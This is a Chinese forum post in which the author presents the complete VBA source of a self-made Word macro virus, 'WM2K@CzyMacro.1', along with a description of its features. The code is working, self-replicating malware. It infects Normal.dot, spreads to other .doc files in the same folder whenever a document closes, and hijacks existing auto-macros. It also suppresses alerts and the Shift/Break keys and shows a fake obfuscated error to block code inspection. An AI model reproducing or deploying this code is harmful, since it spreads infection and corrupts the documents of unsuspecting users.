来源:绿盟安全论坛
作者:CZY
其实也没什么好介绍的和大多算WORD宏病毒不同的是可以主动感染和ActiveDocument同目录下的所有doc文件,一次感染一个,而不紧紧靠Normal.dot.写这个功能可花了我不少心思.另外代码中的注解都是有特殊用途的,不要删掉了.这玩意儿还有一个功能就是如果WROD文档中已经存在叫private sub document_close和document_open的自动宏,我的代码会把它们改名,然后再调用,这样做可以尽量的做到和用户自已的宏共存.
代码分成两个部分一个是在thisdocument中,一个在一个叫czy的模块中,这个模块中的代码最终会放在Normal.dot中.文件成功传染后会在C盘根目录下生成a.txt,b.txt,c.txt它们都是病毒代码本身呵呵.
代码还会拦截WORD里面的alt+f11,和shift+break..所以打开和关闭测试文件的时候最好先按下shift键.测试文件就是上面那个图片,这个BLOG只能上传图片,所以我把后缀名改了.
http://czy82.mblogger.cn/posts/8075.aspx
----------------this code in thisdoucment------------------
Private Sub Document_open() 'czymacro
On Error Resume Next 'czymacro
Application.DisplayAlerts = wdAlertsNone 'czymacro
Application.EnableCancelKey = wdCancelDisabled 'czymacro
Options.SaveNormalPrompt = False 'czymacro
Options.ConfirmConversions = False 'czymacro
'czymacro This Macro-Virus name is WM2K@CzyMacro.1,it come from China,codz@2005.03.25
'czymacro
'czymacro
If Not Dir("c:\c.txt") Then '找不到c.txt才导出 'czymacro
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\b.txt" 'czymacro
Open "c:\b.txt" For Input As #2 '读句柄 'czymacro
Open "c:\c.txt" For Output As #3 '写句柄 'czymacro
For i = 1 To 9 'czymacro
Line Input #2, j 'czymacro
Next 'czymacro
While Not EOF(2) 'czymacro
Line Input #2, k 'czymacro
If InStr(1, k, "'czymacro") <> 0 Then 'czymacro
mycode2 = mycode2 + k + vbCrLf 'czymacro
End If 'czymacro
Wend 'czymacro
Close #2 'czymacro
Print #3, mycode2 'czymacro
Close #3 'czymacro
End If 'czymacro
realauto = NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.ProcBodyLine("D0cument_open", vbext_pk_Proc) 'czymacro
If realauto = 0 Then 'czymacro
autoline = NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.ProcBodyLine("Document_open", vbext_pk_Proc) 'czymacro
If autoline > 0 Then '如果存在autoexec 'czymacro
NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.ReplaceLine autoline, "private sub D0cument_open()" 'czymacro
Else '不存在autoexec 'czymacro
NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString "private sub D0cument_open() : end sub" 'czymacro
End If 'czymacro
autoline = NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.ProcBodyLine("Document_close", vbext_pk_Proc) 'czymacro
If autoline > 0 Then '如果存在autoexec 'czymacro
NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.ReplaceLine autoline, "private sub D0cument_close()" 'czymacro
Else '不存在autoexec 'czymacro
NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString "private sub D0cument_close() : end sub" 'czymacro
End If 'czymacro
ThisDocument.VBProject.VBComponents("czy").Export "c:\a.txt" 'czymacro
Open "c:\a.txt" For Input As #1 'czymacro
Line Input #1, j 'czymacro
While Not EOF(1) 'czymacro
Line Input #1, k 'czymacro
mycode = mycode + k + vbCrLf 'czymacro
Wend 'czymacro
Close #1 'czymacro
mycode = Replace(mycode, "'czy", "call D0cument_open") 'czymacro
mycode = Replace(mycode, "'yzc", "call D0cument_close") 'czymacro
NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString mycode 'czymacro
NormalTemplate.Save 'czymacro
End If 'czymacro
End Sub 'czymacro
-------------------------------end thisdocument----------
------------------------------------module czy--------------
Private Sub Document_open()
On Error Resume Next
'czy
fakeauto = "private sub D0cument_open() : end sub"
If Not ActiveDocument.CustomDocumentProperties("czy") Then
ActiveDocument.CustomDocumentProperties.Add Name:="czy", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
realauto = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.ProcBodyLine("D0cument_open", vbext_pk_Proc)
If realauto = 0 Then
autoline = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.ProcBodyLine("Document_open", vbext_pk_Proc)
If autoline > 0 Then '如果存在
ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.ReplaceLine autoline, "private sub D0cument_open()"
Else '不存在
ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString fakeauto
End If
ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\c.txt"
autoline = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.ProcBodyLine("Document_open", vbext_pk_Proc)
ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.InsertLines autoline + 8, "call D0cument_open"
ActiveDocument.VBProject.VBComponents.Import "c:\a.txt" '添加模块
End If
ActiveDocument.Save '保存文档
End If
End Sub
Private Sub document_close()
On Error Resume Next
'yzc
docfile = Dir(ActiveDocument.Path + "\*.doc")
Do While docfile <> ""
If docfile <> ActiveDocument.Name Then '自已不传染
Set adc = Documents.Open(ActiveDocument.Path + "\" + docfile, , False, False, , , , , , , , False)
adc.CustomDocumentProperties.Add Name:="czy", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
If Err Then '出错说明已传染
Resume Next
Else '没有感染
autoline = adc.VBProject.VBComponents("ThisDocument").CodeModule.ProcBodyLine("Document_open", vbext_pk_Proc)
If autoline > 0 Then '如果存在则替换原来的autoopen
adc.VBProject.VBComponents("ThisDocument").CodeModule.ReplaceLine autoline, "private sub D0cument_open()"
Else '不存在写一个空的autoopen
adc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString "private sub D0cument_open() : end sub"
End If
Call readc(mycode2)
adc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString mycode2
For i = 1 To 110 Step 2 '110 是doc的thisdocudment中病毒代码的长度
adc.VBProject.VBComponents("ThisDocument").CodeModule.ReplaceLine i, "':)"
Next
autoline = adc.VBProject.VBComponents("ThisDocument").CodeModule.ProcBodyLine("Document_open", vbext_pk_Proc)
adc.VBProject.VBComponents("ThisDocument").CodeModule.InsertLines autoline + 4, "call D0cument_open"
adc.VBProject.VBComponents.Import "c:\a.txt" '添加模块
adc.Save
Exit Do '一次只传染一个DOC
End If
End If
docfile = Dir
Loop
End Sub
Private Function readc(mycode2)
Open "c:\c.txt" For Input As #2
While Not EOF(2)
Line Input #2, k
mycode2 = mycode2 + "' _" + vbCrLf + k + vbCrLf 'it's Genius
Wend
Close #2
End Function
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
Message = Chr(73) + Chr(108) + Chr(108) + Chr(101) + Chr(103) + Chr(97) + Chr(108) + Chr(32) + Chr(102) + Chr(117) + Chr(110) + Chr(99) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(105) + Chr(110) + Chr(32) + Chr(109) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(32) + Chr(48) + Chr(120) + Chr(67) + Chr(66) + Chr(49) + Chr(53) + Chr(67) + Chr(48) + Chr(48)
For x = 1 To 10000000
Next x
MsgBox Message, vbCritical ' Message变量值是 Illegal function in module 0xCB15C00
End Sub
